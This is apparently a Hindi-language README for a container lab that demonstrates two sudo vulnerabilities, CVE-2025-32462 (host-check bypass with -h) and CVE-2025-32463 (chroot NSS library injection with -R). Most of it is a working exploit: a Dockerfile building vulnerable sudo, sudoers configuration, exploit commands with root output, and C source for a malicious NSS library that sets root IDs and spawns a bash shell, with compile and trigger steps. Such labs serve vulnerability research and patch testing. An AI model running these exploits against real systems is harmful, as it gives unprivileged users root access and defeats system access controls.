
दो महत्वपूर्ण sudo कमजोरियों के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट्स के साथ कंटेनर-आधारित प्रयोगशाला: होस्ट सत्यापन बायपास (CVE-2025-32462) और विशेषाधिकार वृद्धि के लिए chroot के माध्यम से NSS लाइब्रेरी इंजेक्शन (CVE-2025-32463)।
यह रिपॉजिटरी दो महत्वपूर्ण sudo कमजोरियों के लिए कंटेनर-आधारित प्रयोगशाला और विस्तृत PoC प्रदान करती है:
-h होस्ट मिलान तर्क बायपास-R chroot NSS लाइब्रेरी एस्केपमूल अनुसंधान द्वारा Rich Mirch – Stratascale CRU
PoC और प्रयोगशाला वातावरण द्वारा MAAYTHM
Sudo /etc/sudoers में Host_Alias के माध्यम से होस्ट-आधारित प्राधिकरण लागू करता है।
कमजोरी तब उत्पन्न होती है जब -h विकल्प प्रदान किया जाता है: sudo सिस्टम के विहित होस्टनाम के बजाय प्रदान किए गए होस्टनाम का मूल्यांकन करता है, जिससे प्रतिबंधित उपयोगकर्ता होस्ट-आधारित sudo नीतियों को बायपास कर सकते हैं।
प्रभाव:
Sudo का -R विकल्प chroot वातावरण में निष्पादन की अनुमति देता है। आरंभीकरण के दौरान, /etc/nsswitch.conf के आधार पर NSS (नेम सर्विस स्विच) लाइब्रेरीज़ लोड की जाती हैं। एक दुर्भावनापूर्ण chroot वातावरण और कस्टम NSS लाइब्रेरी प्रदान करके, एक हमलावर रूट के रूप में कोड निष्पादित कर सकता है।
हमले की सतह:
nsswitch.confप्रभाव:
pwn (गैर-रूट)CVE-2025-32462-CVE-2025-32463-PoC-Lab
├── Dockerfile
│ # Builds vulnerable sudo environment
│
├── exploit/
│ ├── cve_2025_32463.c
│ │ # Malicious NSS shared library used for privilege escalation
│ └── build.sh
│ # Compiles the exploit payload into a shared NSS module
│
├── lab/
│ └── setup.sh
│ # Automates vulnerable lab configuration and sudoers setup
│
└── README.md
# Technical documentation, vulnerability analysis, and PoC usage guide
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \
pkg-config libssl-dev git nano gcc && \
rm -rf /var/lib/apt/lists/*
WORKDIR /opt
RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \
tar xzf sudo-1.9.16p2.tar.gz && \
cd sudo-1.9.16p2 && \
./configure --disable-gcrypt --prefix=/usr && \
make && make install
RUN useradd -m -s /bin/bash pwn && \
echo 'pwn:pwn' | chpasswd
USER pwn
WORKDIR /home/pwn
CMD ["/bin/bash"]
प्रयोगशाला बनाएं और चलाएं
docker build -t sudo-vuln-lab .
docker network create --subnet=172.190.0.0/16 sudolabnet
docker run -d \
--network sudolabnet \
--ip 172.190.0.3 \
--hostname lowpriv.test.local \
--add-host highpriv.test.local:172.190.0.2 \
--name lowpriv \
sudo-vuln-lab tail -f /dev/null
CVE-2025-32462 – शोषण
docker exec -u root -it lowpriv bash
echo 'Host_Alias HIGH = highpriv.test.local' >> /etc/sudoers
echo 'Host_Alias LOW = lowpriv.test.local' >> /etc/sudoers
echo 'pwn HIGH,!LOW = NOPASSWD:ALL' >> /etc/sudoers
सामान्य व्यवहार:
sudo id
# Password required
शोषण:
sudo -h highpriv.test.local id
# uid=0(root) gid=0(root) groups=0(root)
sudo -h highpriv.test.local hostname -f
# lowpriv.test.local
CVE-2025-32463 – शोषण
mkdir -p exploitDir/etc
echo 'passwd: /cve_2025_32463' > exploitDir/etc/nsswitch.conf
mkdir libnss_
cp /etc/group exploitDir/etc/
दुर्भावनापूर्ण NSS लाइब्रेरी:
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void GIVEMEROOT(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
संकलन:
gcc -shared -fPIC -Wl,-init,GIVEMEROOT -o libnss_/cve_2025_32463.so.2 cve_2025_32463.c
ट्रिगर:
sudo -R exploitDir <command>
# Root shell obtained
id
# uid=0(root) gid=0(root)